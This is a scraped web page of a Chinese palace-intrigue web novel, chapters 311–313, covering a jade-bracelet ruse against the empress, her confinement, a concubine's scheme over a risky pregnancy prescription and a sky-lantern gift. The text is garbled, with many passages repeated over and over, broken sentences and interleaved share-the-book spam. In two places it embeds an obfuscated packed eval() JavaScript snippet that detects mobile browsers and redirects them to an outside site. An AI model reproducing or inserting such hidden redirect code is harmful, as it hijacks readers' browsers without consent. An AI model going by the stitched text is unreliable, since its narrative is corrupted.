皇后将锦盒打开锦盒里躺着一只水头相似的镯子。 她举起玉镯“可这只玉镯好像跟云夫人的不一样啊?” “母后说笑了这是同一块玉玉的质地怎会不同?”裴墨染道。 下一瞬皇后直接将玉镯朝云清婳砸去。 啪—— 玉镯砸地摔得四分五裂。 “啊……”云清婳发出惊呼眼泪在眼眶打转。 裴墨染忙不迭出列将云清婳护在身后“母后!你在做什么?” 皇上双手握拳骨节捏得咔咔作响“皇后 “陛下这只玉镯绝对不是传世灵玉!”皇后矫揉造作地捏起帕子擦了擦眼角。 宾客惊讶的张大了嘴巴。 “这不是传世灵玉?” “太子妃竟敢这般肆意妄为?” 皇后长叹一声一副受伤的模样“本来本宫想着太子妃不愿送本宫传世灵玉也就罢了。可能太子妃心里没把本宫当作母亲但这也是太子妃的心意。可太子妃实在咄咄逼人明明送的是假玉镯还非要让本宫陪你作秀。” “母妃这是真的!”云清婳泪流满面她激动地陡然拔高声音。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 云夫人的眼圈都红了感动不已。 “娘亲戴着好看。”她道。 哇—— 许多女眷眼前一亮发出羡慕的声音。 “云夫人真是好福气啊!” “太子妃孝顺不愧是京中贵女的典范。” “……” 云丞相酸溜溜道:“我怎么没有?” 云夫人剜了他一眼他立即闭嘴。 众宾客的眼神又期待地落在上首。 锦盒摆在皇后面前。 皇后却没有拆开的打算坐如一棵松。 “母后镯子是儿臣猜测的尺寸也不知合不合适?”云清婳道。 裴墨染也道:“母后这是太子妃的一片心意您不如试试?” 皇上轻扬下巴示意她拿出来。 “……”皇后的脸色极其阴沉。 她勾起一边唇角“本宫这一只玉镯也是传世灵玉吗?” “自然。”云清婳斩钉截铁道她的眼中闪过狡黠。 皇后将锦盒打开锦盒里躺着一只水头相似的镯子。 她举起玉镯“可这只玉镯好像跟云夫人的不一样啊?” “母后说笑了这是同一块玉玉的质地怎会不同?”裴墨染道。 下一瞬皇后直接将玉镯朝云清婳砸去。 啪—— 玉镯砸地摔得四分五裂。 “啊……”云清婳发出惊呼眼泪在眼眶打转。 裴墨染忙不迭出列将云清婳护在身后“母后!你在做什么?” 皇上双手握拳骨节捏得咔咔作响“皇后你又怎么了?这是孩子的一番心意啊!” “陛下这只玉镯绝对不是传世灵玉!”皇后矫揉造作地捏起帕子擦了擦眼角。 宾客惊讶的张大了嘴巴。 “这不是传世灵玉?” “太子妃竟敢这般肆意妄为?” 皇后长叹一声 “母妃这是真的!”云清婳泪流满面她激动地陡然拔高声音。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “娘亲戴着好看。”她道。 哇—— 许多女眷眼前一亮发出羡慕的声音。 “云夫人真是好福气啊!” “太子妃孝顺不愧是京中贵女的典范。” “……” 云丞相酸溜溜道:“我怎么没有?” 云夫人剜了他一眼他立即闭嘴。 众宾客的眼神又期待地落在上首。 锦盒摆在皇后面前。 皇后却没有拆开的打算坐如一棵松。 “母后镯子是儿臣猜测的尺寸也不知合不合适?”云清婳道。 裴墨染也道:“母后这是太子妃的一片心意您不如试试?” 皇上轻扬下巴示意她拿出来。 “……”皇后的脸色极其阴沉。 她勾起一边唇角“本宫这一只玉镯也是传世灵玉吗?” “自然。”云清婳斩钉截铁道她的眼中闪过狡黠。 皇后将锦盒打开锦盒里躺着一只水头相似的镯子。 她举起玉镯“可这只玉镯好像跟云夫人的不一样啊?” “母后说笑了这是同一块玉玉的质地怎会不同?”裴墨染道。 下一瞬皇后直接将玉镯朝云清婳砸去。 啪—— 玉镯砸地摔得四分五裂。 “啊……”云清婳发出惊呼眼泪在眼眶打转。 裴墨染忙不迭出列将云清婳护在身后“母后!你在做什么?” 皇上双手握拳骨节捏得咔咔作响“皇后你又怎么了?这是孩子的一番心意啊!” “陛下这只玉镯绝对不是传世灵玉!”皇后矫揉造作地捏起帕子擦了擦眼角。 宾客惊讶的张大了嘴巴。 “这不是传世灵玉?” “太子妃竟敢这般肆意妄为?” 皇后长叹一声一副受伤的模样“本来本宫想着太子妃不愿送本宫传世灵玉也就罢了。可能太子妃心里没把本宫当作母亲但这也是太子妃的心意。可太子妃实在咄咄逼人明明送的是假玉镯还非要让本宫陪你作秀。” “母妃这是真的!”云清婳泪流满面她激动地陡然拔高声音。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第311章 闹了一出乌龙 “你敢对天发誓吗?太子妃?”皇后的手上仿佛捏住了证据,胜券在握。 她今日就要当众揭穿云清婳的真面目! 皇上的视线在云清婳、皇后身上来回逡巡。 云清婳哭得一抽一抽的,她好似伤心欲绝,“母后,这是儿臣的一片心意啊!您为何要这么质疑儿臣?儿臣怎会做出这么大逆不道的事?” 皇后见她没有发誓,心中更笃定了,“皇上,方才臣妾下去更衣时全都听见了。太子妃与人密谋,说要把一百两的羊脂玉镯子送给臣妾,以次充好。” 皇上的脸上阴云翻滚,他沉声道:“此事属实?太子妃?” “冤枉啊!”云清婳跪在地上,“儿臣怎敢妄议皇后?” 皇后指着云清婳,“皇上,臣妾所言句句属实!太子妃,你敢发誓吗?” 云清婳正欲说话,裴墨染便道:“母后为何一定要太子妃赌咒发誓?太子妃问心无愧,为何要诅咒自己?” “母后,所有人都知道臣妾的品性,发誓是对臣妾的侮辱!”云清婳的视线坚毅。 “你还嘴硬!本宫都亲耳听见了!”皇后的五官一拧,面目狰狞。 皇上面无表情,却有一种山雨欲来风满楼的阴沉感。 众官员面面相觑,额上泌出了细碎的汗珠。 这岂是他们能听的? 这是一桩丑事啊,窥探天家的丑事,恐会引来杀身之祸! “微臣告退。”一个官员拜了拜,转身离去。 其他官员见势,也蠢蠢欲动。 云清婳怎舍得他们离场? 这些都是她的“观众”啊! 云清婳的声音清脆,“皇上,儿臣可以自证!可以请内务府的工匠前来辨认此物是不是羊脂玉。” 皇后冷笑,“太子妃,你可真是不见棺材不落泪!好啊!最好把工匠全部请来,免得被人收买!” 她意有所指地瞥了云清婳一眼。 裴墨染走上前,他压低声音道:“母后一定要把事情闹得这么难看?” “哼……”皇后扭过脸,看向别处。 这个白眼狼,只会帮着外人! 皇上怒火中烧,已然气到极点。 这是最后一次机会。 倘若皇后 再这么执迷不悟,他定不会轻易饶恕! “父皇不可啊……”裴墨染拱手。 皇上却颔首,“请工匠来辨认吧。” 御前太监立即传召内务府的工匠。 过了一炷香的功夫,十几位工匠来了。 御前太监将地上摔碎的玉镯捡起来,分发给工匠。 “你们好好辨认,这么什么质地?”皇上威严地说。 皇后的脖子高高扬起,露出势在必得的表情。 云清婳跟云蓉交换了一个眼神。 不枉她们演戏了! 皇后实在太好骗了! “蛮蛮,没事的。”裴墨染轻拍她的背脊,他轻声说,“日后不必送礼物给她了,糟蹋心意。” 她鼓着嘴,“真是可惜传世灵玉了。” “我再帮你寻一块。”他安慰道。 很快,十几个工匠便辨认完毕。 “如何?”皇上问道。 皇后脸上的笑容更甚,不屑地剐了云清婳一眼。 群臣都期待着答案。 “陛下,此玉看起来像是羊脂玉。” 皇后激动的双臂颤抖,“皇上,您看,臣妾真的没有骗人!这镯子就是普通的羊脂玉!太子妃以次充好,欺骗臣妾,作秀给众人看。” 为首的工匠话锋一转,“但此玉质地清透,久握生温,一看便是古玉。这像是古籍中记载的传世灵玉。” 此话一出,云清婳像是沉冤昭雪,呜呜地哭出声。 裴墨染心疼地抱住她,“我都知道,你受委屈了。” 皇后像是石化了,浑身僵住,一动不动。 她瞪大了眼睛,难以置信的看着云清婳,“怎么可能?你是不是被人收买了?” 皇后的声音十分尖锐。 苏灵音都替皇后感到丢人。 “太子妃还能将所有工匠都收买不成?”裴墨染怼道。 “……”皇后一噎。 她恼羞成怒的看着云清婳。 后知后觉才意识到……她被算计了! “你是故意的……那些话你是故意说给本宫听的!陛下,太子妃跟十皇子妃陷害臣妾……”皇后跪下,伸手扯着皇上的衣角。 皇上一把扯过衣角,就好像沾上了脏 东西。 他缓缓阖上了眼睛,感到无尽的疲惫。 方才,他竟然当着这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256314|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官员的面,闹了这么大的笑话。 皇后身为一国之母,鲁莽无状、刻薄自私也就罢了,还总是丢皇室脸面! 这种人也配成为皇后? “回宫!他低吼一声。 御前太监将皇上扶走。 皇后不甘地看着云清婳,被金嬷嬷扶走了。 “微臣告退。众官员像是解脱了,忙不迭走了。 裴云澈递给云清婳一个眼神,转身离去。 云夫人被皇后气哭了,她捏着帕子,泪眼婆娑。 “夫人,您就别哭了,免得蛮蛮难过。云丞相安慰。 云隽道:“娘,蛮蛮已经出气了。 云褚混不吝道:“陛下方才那眼神像是恨不得将皇后吃了,娘,你就别难过了。 裴墨染想要安慰,却插不进嘴,他急得团团转。 “我是心疼那只镯子。云夫人一拍大腿,想想就难过。 云家三父子:??? 云清婳翻了个白眼,她无奈道:“娘,等会我让工匠把几块碎玉磨成耳坠子、簪花。 云夫人这才止住眼泪,“说好了,过几日你记得给娘送去。 “好。她被气笑了。 人走后,云清婳好像泄了力,乏力地倒在裴墨染身上。 裴墨染连忙抱着她,唇落在她的脸蛋上,“方才是不是吓坏了? “你说呢?今日的寿宴还不如不办呢。她伸出手指,使劲在他的胸口戳了几下。 裴墨染叹了一声,“都怪我思虑不周,没想到来了这么多不怀好意之人,还有人用鹦鹉害你。 她摇摇头,声音颤抖道:“方才夫君突然不见了,我还以为你怕了,真的不管蛮蛮了。 他的桃花眼炯炯有神,他捧着她的脸,正色道:“蛮蛮,你怎会这么想?我怎舍得不管你? “夫君……她环抱着他的腰。 裴墨染清晰的感受到她的身躯在颤抖,他有规律地轻拍她的背脊,直到她紧绷的身躯放松下来。 他忽地将她打横抱起。 “呀……夫君,你干嘛?她的脸蛋娇红。 裴墨染笑道:“抱你回玄音阁。 “我又不是没长腿,羞**了。 “那你抱我过去? 云清婳险些笑喷,“臭不要脸!我哪抱得动你? 榻上二人相互依偎,良久无言。 第312章 共赏河山 裴墨染在她眉心落下一吻,“鹦鹉的事,你猜是谁做的?” “苏灵音。”她不假思索。 他颔首,“我也觉得是她,毕竟皇后可想不出这般机关算尽的计谋。” 云清婳笑了,她的指尖从他的喉结划过,“夫君,你送我的生辰礼物呢?这个寿宴可不算。” 他阵阵战栗,喉结上下滚动,哑声道:“知道了。” 云清婳乜了他一眼。 死直男能送什么好礼物? 她似乎猜到了。 …… 养心殿。 皇上负手而立,他看着墙壁上的山水画,眼神闪出寒星般的暗芒,“皇后,你今日在东宫可顾及半分脸面?你言行无状,为老不尊,跟疯婆子有什么区别?” “皇上,臣妾被人算计了!云清婳是故意说那些给臣妾听的,所以臣妾才会误会,闹得这么难看!”皇后委屈地抱怨。 皇上的手捏得咔咔作响,他忍无可忍,一转身,啪—— 他狠狠甩了皇后一记耳光。 “啊……”皇后捂着脸,一屁股跌坐在地上,惊慌地看着皇上。 她的眼泪夺眶而出,无助、恐惧地看着面前的男人。 “皇上,臣妾真的委屈啊!臣妾敢以性命起誓,臣妾被云清婳算计了!”她崩溃地哭喊。 皇上看她的眼神就像在看一个疯婆子,他第一次觉得皇后这么幼稚、可笑。 “那又如何?无论是不是被算计,输了就是输了,你错就错在技不如人,还学不会隐忍!”他直接把话摊开说。 皇后捂着脸,幽怨地看着他,“陛下,您一定要对臣妾这么冷漠吗?倘若今日被算计的是宸妃,您也会这么怪她吗?” “住口!你怎配跟莲衣相提并论?”皇上指着她怒吼,忽地,他脸上的表情变得柔和,“倘若今日是莲衣,她一定会跟儿媳、儿子和睦相处!绝不会有龃龉。” 皇后的心仿佛都在震颤,“陛下,我们夫妻几十载,你对臣妾哪怕能有一丝怜惜?当年你夺嫡无望,是苏家为您鞍前马后,忠心耿耿啊!可现在,苏家家破人亡,臣妾连叫屈都不配了……” 皇上肚中的怒火蹭得窜了起来。 苏家的恩情,他可以感激。 但皇 后怎么能提?! 这么年,他给苏家的好处还不够多吗? 若不是念及恩情,苏盛假死、苏将军欺君罔上,他们一家早被抄家问斩了。 皇上厌恶地剜了她一眼,他推开门,对着门外宣布:“今日起,皇后禁足翊坤宫,没有朕的口谕,谁都不准进去探望!” “不要啊……”皇后使劲摇头,“陛下,陛下……” 御前嬷嬷将皇后拖走。 “陛下,您别忘了,你对臣妾的所作所为……难道您想让天下人知道云澈的**吗?陛下……”皇后癫狂不甘地喊叫。 皇上一个眼神过去,御前嬷嬷立即捂住了她的嘴,“娘娘慎言!陛下怎会有错呢?” “唔……”皇后使劲挣扎。 但她却挣不脱御前嬷嬷的桎梏。 能在御前伺候的人都卧虎藏龙,御前嬷嬷也是练家子出身。 皇上忽然感到胸口窒息般的堵闷,一股腥甜味直冲喉头。 “咳咳咳……”他咳嗽不止,连忙用帕子捂住嘴,好像肺都要咳出来。 再次将帕子拿开,上面晕开猩红的血迹。 他走向上首,在龙案上写着什么。 御前太监脸上的神情陡然一紧,扑通一声跪地。 …… 清心阁。 苏灵音她的双臂颤抖着,心快要跳出嗓子眼,“怎么办?北镇抚司不会查到我头上吧?” “我的计谋明明这么精妙,居然被裴墨染这个武夫识破了!” “那个人应该不会出卖我的……孩子,你有真龙之相,你一定要保佑娘亲平安度过这次。” 巧慧在侧门听见了一切,她屏息凝神,不敢发出丝毫声响。 自从殿下跟苏灵音摊牌后,苏灵音就变得异常敏感。 谁也不相信了。 “主子,安胎药熬好了。”巧慧端着安胎药走来。 苏灵音立即抿唇,她的眼中满是防备,“方才你没听见什么吧?” “啊?”巧慧故作疑惑,“主子方才叫奴婢了?” 苏灵音稍稍放心,她不动声色地摇摇头,“没什么事。” 喝下安胎药后,苏灵音吐出一口浊气,“我就算生下一个天才又如何?肚子里只有一个孩子,终归 比不上云清婳的双生子。” 巧慧欲言又止她犹犹豫豫地开口:“主子奴婢倒有个主意。” 苏灵音轻蔑地瞥了她一眼“说吧。” “奴婢听府里的老人说太后曾送给赵婉宁一张药方据说喝了能怀双生子!倘若主子也喝了这副药方岂不是就能跟云清婳博弈了?”巧慧一脸狡诈。 苏灵音的眼神倏地变得阴狠其中闪烁着杀意。 这副药方她早就听说了。 但据传这副药方是去母留子的药方服下此方不仅会怀双胎胎儿还会巨大母体必会难产。 巧慧这是想要她死啊! 这个贱婢恐怕早就被云清婳收养了吧。 苏灵音的手缓缓拿起绣篓里锋利的剪刀她一字一顿“真是个好主意啊。” “但是听说这副药方会要人命就算怀上双胎也怕无福消受啊。主子要三思啊总不能为了身外之物害了性命!”巧慧话锋一转。 苏灵音眼中的警惕散去有些诧异的看着巧慧。 她的表情看起来很是担忧。 不像演的。 看来是她想多了? 苏灵音道:“我也听说了此事你尽早把药方弄来。别人喝此药难产血崩是因为她们太蠢我只喝三个月就停药我就不信会出事。” “主子真聪慧!奴婢这就找赵婉宁以前的丫鬟问问。”巧慧匆匆离开。 出清心阁大门的瞬间 方才幸亏她机灵否则苏灵音恐怕正准备杀了她。 还好太子妃交给她的事情她办到了。 …… 晚上裴墨染带云清婳跟孩子去了百萃楼。 这是京城中最高的酒楼在顶楼可以俯瞰城中万千灯火。 行人如织灯火连绵从高楼向下看去宛若璀璨的星汉。 这幅画面极美颇有种共赏大好山河看百姓安居乐业之意。 云清婳好奇地侧头看着他“夫君要送我什么?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 比不上云清婳的双生子。 小说全网首发无弹窗免费阅读caixs**(请来才 小说 看最新章节 完整章节) 巧慧欲言又止,她犹犹豫豫地开口:“主子,奴婢倒有个主意。 苏灵音轻蔑地瞥了她一眼,“说吧。 “奴婢听府里的老人说,太后曾送给赵婉宁一张药方,据说喝了能怀双生子!倘若主子也喝了这副药方,岂不是就能跟云清婳博弈了?巧慧一脸狡诈。 苏灵音的眼神倏地变得阴狠,其中闪烁着杀意。 这副药方她早就听说了。 但据传这副药方是去母留子的药方,服下此方,不仅会怀双胎,胎儿还会巨大,母体必会难产。 巧慧这是想要她死啊! 这个贱婢,恐怕早就被云清婳收养了吧。 苏灵音的手缓缓拿起绣篓里锋利的剪刀,她一字一顿,“真是个好主意啊。 “但是,听说这副药方会要人命,就算怀上双胎也怕无福消受啊。主子要三思啊,总不能为了身外之物,害了性命!巧慧话锋一转。 苏灵音眼中的警惕散去,有些诧异的看着巧慧。 她的表情看起来很是担忧。 不像演的。 看来是她想多了? 苏灵音道:“我也听说了此事,你尽早把药方弄来。别人喝此药难产血崩,是因为她们太蠢,我只喝三个月就停药,我就不信会出事。 “主子真聪慧!奴婢这就找赵婉宁以前的丫鬟问问。巧慧匆匆离开。 出清心阁大门的瞬间,她几乎快要虚脱。 方才幸亏她机灵,否则苏灵音恐怕正准备杀了她。 还好,太子妃交给她的事情,她办到了。 …… 晚上,裴墨染带云清婳跟孩子去了百萃楼。 这是京城中最高的酒楼,在顶楼可以俯瞰城中万千灯火。 行人如织,灯火连绵,从高楼向下看去,宛若璀璨的星汉。 这幅画面极美,颇有种共赏大好山河,看百姓安居乐业之意。 云清婳好奇地侧头看着他,“夫君要送我什么? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 比不上云清婳的双生子。” 巧慧欲言又止她犹犹豫豫地开口:“主子奴婢倒有个主意。” 苏灵音轻蔑地瞥了她一眼“说吧。” “奴婢听府里的老人说太后曾送给赵婉宁一张药方据说喝了能怀双生子!倘若主子也喝了这副药方岂不是就能跟云清婳博弈了?”巧慧一脸狡诈。 苏灵音的眼神倏地变得阴狠其中闪烁着杀意。 这副药方她早就听说了。 但据传这副药方是去母留子的药方服下此方不仅会怀双胎胎儿还会巨大母体必会难产。 巧慧这是想要她死啊! 这个贱婢恐怕早就被云清婳收养了吧。 苏灵音的手缓缓拿起绣篓里锋利的剪刀她一字一顿“真是个好主意啊。” “但是听说这副药方会要人命就算怀上双胎也怕无福消受啊。主子要三思啊总不能为了身外之物害了性命!”巧慧话锋一转。 苏灵音眼中的警惕散去有些诧异的看着巧慧。 她的表情看起来很是担忧。 不像演的。 看来是她想多了? 苏灵音道:“我也听说了此事你尽早把药方弄来。别人喝此药难产血崩是因为她们太蠢我只喝三个月就停药我就不信会出事。” “主子真聪慧!奴婢这就找赵婉宁以前的丫鬟问问。”巧慧匆匆离开。 出清心阁大门的瞬间她几乎快要虚脱。 方才幸亏她机灵否则苏灵音恐怕正准备杀了她。 还好太子妃交给她的事情她办到了。 …… 晚上裴墨染带云清婳跟孩子去了百萃楼。 这是京城中最高的酒楼在顶楼可以俯瞰城中万千灯火。 行人如织灯火连绵从高楼向下看去宛若璀璨的星汉。 这幅画面极美 云清婳好奇地侧头看着他“夫君要送我什么?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 比不上云清婳的双生子。” 巧慧欲言又止,她犹犹豫豫地开口:“主子,奴婢倒有个主意。” 苏灵音轻蔑地瞥了她一眼,“说吧。” “奴婢听府里的老人说,太后曾送给赵婉宁一张药方,据说喝了能怀双生子!倘若主子也喝了这副药方,岂不是就能跟云清婳博弈了?”巧慧一脸狡诈。 苏灵音的眼神倏地变得阴狠,其中闪烁着杀意。 这副药方她早就听说了。 但据传这副药方是去母留子的药方,服下此方,不仅会怀双胎,胎儿还会巨大,母体必会难产。 巧慧这是想要她死啊! 这个贱婢,恐怕早就被云清婳收养了吧。 苏灵音的手缓缓拿起绣篓里锋利的剪刀,她一字一顿,“真是个好主意啊。” “但是,听说这副药方会要人命,就算怀上双胎也怕无福消受啊。主子要三思啊,总不能为了身外之物,害了性命!”巧慧话锋一转。 苏灵音眼中的警惕散去,有些诧异的看着巧慧。 她的表情看起来很是担忧。 不像演的。 看来是她想多了? 苏灵音道:“我也听说了此事,你尽早把药方弄来。别人喝此药难产血崩,是因为她们太蠢,我只喝三个月就停药,我就不信会出事。” “主子真聪慧!奴婢这就找赵婉宁以前的丫鬟问问。”巧慧匆匆离开。 出清心阁大门的瞬间,她几乎快要虚脱。 方才幸亏她机灵,否则苏灵音恐怕正准备杀了她。 还好,太子妃交给她的事情,她办到了。 …… 晚上,裴墨染带云清婳跟孩子去了百萃楼。 这是京城中最高的酒楼,在顶楼可以俯瞰城中万千灯火。 行人如织,灯火连绵,从高楼向下看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256315|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,宛若璀璨的星汉。 这幅画面极美,颇有种共赏大好山河,看百姓安居乐业之意。 云清婳好奇地侧头看着他,“夫君要送我什么?” 你的朋友正在书荒,快去帮帮他吧 比不上云清婳的双生子。 巧慧欲言又止,她犹犹豫豫地开口:“主子,奴婢倒有个主意。 苏灵音轻蔑地瞥了她一眼,“说吧。 “奴婢听府里的老人说,太后曾送给赵婉宁一张药方,据说喝了能怀双生子!倘若主子也喝了这副药方,岂不是就能跟云清婳博弈了?巧慧一脸狡诈。 苏灵音的眼神倏地变得阴狠,其中闪烁着杀意。 这副药方她早就听说了。 但据传这副药方是去母留子的药方,服下此方,不仅会怀双胎,胎儿还会巨大,母体必会难产。 巧慧这是想要她死啊! 这个贱婢,恐怕早就被云清婳收养了吧。 苏灵音的手缓缓拿起绣篓里锋利的剪刀,她一字一顿,“真是个好主意啊。 “但是,听说这副药方会要人命,就算怀上双胎也怕无福消受啊。主子要三思啊,总不能为了身外之物,害了性命! 苏灵音眼中的警惕散去,有些诧异的看着巧慧。 她的表情看起来很是担忧。 不像演的。 看来是她想多了? 苏灵音道:“我也听说了此事,你尽早把药方弄来。别人喝此药难产血崩,是因为她们太蠢,我只喝三个月就停药,我就不信会出事。 “主子真聪慧!奴婢这就找赵婉宁以前的丫鬟问问。巧慧匆匆离开。 出清心阁大门的瞬间,她几乎快要虚脱。 方才幸亏她机灵,否则苏灵音恐怕正准备杀了她。 还好,太子妃交给她的事情,她办到了。 …… 晚上,裴墨染带云清婳跟孩子去了百萃楼。 这是京城中最高的酒楼,在顶楼可以俯瞰城中万千灯火。 行人如织,灯火连绵,从高楼向下看去,宛若璀璨的星汉。 这幅画面极美,颇有种共赏大好山河,看百姓安居乐业之意。 云清婳好奇地侧头看着他,“夫君要送我什么? 你的朋友正在书荒,快去帮帮他吧 比不上云清婳的双生子。” 巧慧欲言又止她犹犹豫豫地开口:“主子奴婢倒有个主意。” 苏灵音轻蔑地瞥了她一眼“说吧。” “奴婢听府里的老人说太后曾送给赵婉宁一张药方据说喝了能怀双生子!倘若主子也喝了这副药方岂不是就能跟云清婳博弈了?”巧慧一脸狡诈。 苏灵音的眼神倏地变得阴狠其中闪烁着杀意。 这副药方她早就听说了。 但据传这副药方是去母留子的药方服下此方不仅会怀双胎胎儿还会巨大母体必会难产。 巧慧这是想要她死啊! 这个贱婢恐怕早就被云清婳收养了吧。 苏灵音的手缓缓拿起绣篓里锋利的剪刀她一字一顿“真是个好主意啊。” “但是听说这副药方会要人命就算怀上双胎也怕无福消受啊。主子要三思啊总不能为了身外之物害了性命!”巧慧话锋一转。 苏灵音眼中的警惕散去有些诧异的看着巧慧。 她的表情看起来很是担忧。 不像演的。 看来是她想多了? 苏灵音道:“我也听说了此事你尽早把药方弄来。别人喝此药难产血崩是因为她们太蠢我只喝三个月就停药 “主子真聪慧!奴婢这就找赵婉宁以前的丫鬟问问。”巧慧匆匆离开。 出清心阁大门的瞬间她几乎快要虚脱。 方才幸亏她机灵否则苏灵音恐怕正准备杀了她。 还好太子妃交给她的事情她办到了。 …… 晚上裴墨染带云清婳跟孩子去了百萃楼。 这是京城中最高的酒楼在顶楼可以俯瞰城中万千灯火。 行人如织灯火连绵从高楼向下看去宛若璀璨的星汉。 这幅画面极美颇有种共赏大好山河看百姓安居乐业之意。 云清婳好奇地侧头看着他“夫君要送我什么?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 比不上云清婳的双生子。” 巧慧欲言又止她犹犹豫豫地开口:“主子奴婢倒有个主意。” 苏灵音轻蔑地瞥了她一眼“说吧。” “奴婢听府里的老人说太后曾送给赵婉宁一张药方据说喝了能怀双生子!倘若主子也喝了这副药方岂不是就能跟云清婳博弈了?”巧慧一脸狡诈。 苏灵音的眼神倏地变得阴狠其中闪烁着杀意。 这副药方她早就听说了。 但据传这副药方是去母留子的药方服下此方不仅会怀双胎胎儿还会巨大母体必会难产。 巧慧这是想要她死啊! 这个贱婢恐怕早就被云清婳收养了吧。 苏灵音的手缓缓拿起绣篓里锋利的剪刀她一字一顿“真是个好主意啊。” “但是听说这副药方会要人命就算怀上双胎也怕无福消受啊。主子要三思啊总不能为了身外之物害了性命!”巧慧话锋一转。 苏灵音眼中的警惕散去有些诧异的看着巧慧。 她的表情看起来很是担忧。 不像演的。 看来是她想多了? 苏灵音道:“我也听说了此事你尽早把药方弄来。别人喝此药难产血崩是因为她们太蠢我只喝三个月就停药我就不信会出事。” “主子真聪慧!奴婢这就找赵婉宁以前的丫鬟问问。”巧慧匆匆离开。 出清心阁大门的瞬间她几乎快要虚脱。 方才幸亏她机灵否则苏灵音恐怕正准备杀了她。 还好太子妃交给她的事情她办到了。 …… 晚上裴墨染带云清婳跟孩子去了百萃楼。 这是京城中最高的酒楼在顶楼可以俯瞰城中万千灯火。 行人如织灯火连绵从高楼向下看去宛若璀璨的星汉。 这幅画面极美颇有种共赏大好山河 云清婳好奇地侧头看着他“夫君要送我什么?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第313章 直男的礼物很好猜 孩子激动地在顶楼上跑来跑去,毫不怕高,顽皮得很。 “哥哥,灯灯在飞……”辞忧甩着小肉腿跑到尽头 承基像个小大人,字正腔圆道:“是孔明灯!” 飞霜、王显在后面追得气喘吁吁。 “你猜?”裴墨染的眉眼弯弯,颇有几分卖弄之感。 云清婳的眼珠子狡黠一转,冲他眨眨眼,“夫君莫不是想将百萃楼送我?” 他的表情微不可察的变了,“你若是喜欢,我立即派人去买。” 云清婳乜了他一眼,“你可知道百萃楼的东家是谁?” “是谁?”裴墨染蹙眉。 她踮起脚,在他额头上敲了一下,“就在你面前。” 裴墨染笑了,“看来我低估了娘子的财力,倘若日后我一朝失势,要靠娘子养我了。” 她叉着腰,黛眉一横,威风凛凛地说:“夫君还不快讨好我!” 他故作娇弱地将脸迈进她的颈窝,“娘子,今晚你想对我做什么都可以。” “咦惹。”云清婳起了一身鸡皮疙瘩,她嫌弃地一把推开他的脸,“我想把你踹下楼!” “别人都是养小白脸,凭什么换做我就只能养你?” 裴墨染不服气,“我怎么了?” “又黑又老!”她如实回答。 裴墨染瞪大了双眼,他被气笑了,指着自己,“我又黑又老?你前几日在榻上可不是这么说的,你说我俊俏,你心之所向,那晚还是你主动的……” 云清婳觉得他好吵,她捧着他的脸,强行吻住他喋喋不休的唇。 她只是蜻蜓点水般亲了一下。 裴墨染却像是受到了嘉奖,得意极了,“蛮蛮,你看,这次又是你主动的。” 她瞪了他一眼,娇声骂道:“夫君真不知羞,流氓!” 裴墨染噙着坏笑,从身后突然捂住她的眼睛。 他冲不远处的乾风递给了个眼神,“蛮蛮,时辰到了。” “嗯?”她的眼前陷入一片黑暗,她伸手摸着他的手背。 她大概猜到了狗男人的礼物。 毕竟直男的礼物很好猜。 大晚上的,还在阁楼上。 应该是烟花之类的…… “数 十个数。” 云清婳顺从道:“一、二、三……” 数到第十下裴墨染将双手放开。 黑夜中云清婳墨色的瞳中倒映出万千橘黄色的孔明灯。 数不清的飞灯从下往上飞起在空中飘荡美不胜收好像星河被搬到了眼前。 她突然想到了一句诗句——疑是银河落九天。 作为一个现代人云清婳不是没有通过电视、手机看到过漫天飞灯的场景但身临其境跟通过介质观看是两码事。 她还是震惊了。 眼前的景象很壮观、很美。 飞霜、王显都看呆了怔愣在原地。 “哇……好多灯灯!”辞忧激动地指着天上的孔明灯。 承基的葡萄眼睁得浑圆像是看呆了。 裴墨染侧过脸打量着云清婳的表情“蛮蛮喜欢吗?” “喜欢。”她笑着颔首。 “怎么样?我的礼物不输裴云澈吧?”他骄傲地说。 云清婳瞥了他一眼“夫君跟裴云澈比什么?” 他一愣。 是啊他跟裴云澈比什么? 真是跌份儿! 蛮蛮是他的妻子裴云澈算什么东西? “我就是看不惯他恬不知耻在你眼前献媚。”他道。 她娇软地倚靠进他的怀中循循善诱:“夫君的礼物我很喜欢。只是天干物燥你放了这么多天灯会不会失火?你要派人盯着万不能引起火患让人抓住把柄。” “我知道一早就派手下四处巡查了。”他刮了下她的鼻子。 蛮蛮总是这么心细如尘为他考虑。 她松了口气“我可不想被人视作妖妃。” “谁再敢这么说你我一定拔了她的舌头。”他的眼神射出锋芒。 万千灯火飘在空中。 百姓仰头看着天幕上唯美的景象。 云清婳看累了回到屋内挑了个临窗的位置吹着晚风。 桌上摆着各式各样她喜欢的菜肴、糕点明显是裴墨染精心准备的。 辞忧、承基跟了进来 裴墨染顿感头疼这两个小家伙真是‘碍事’! “娘亲 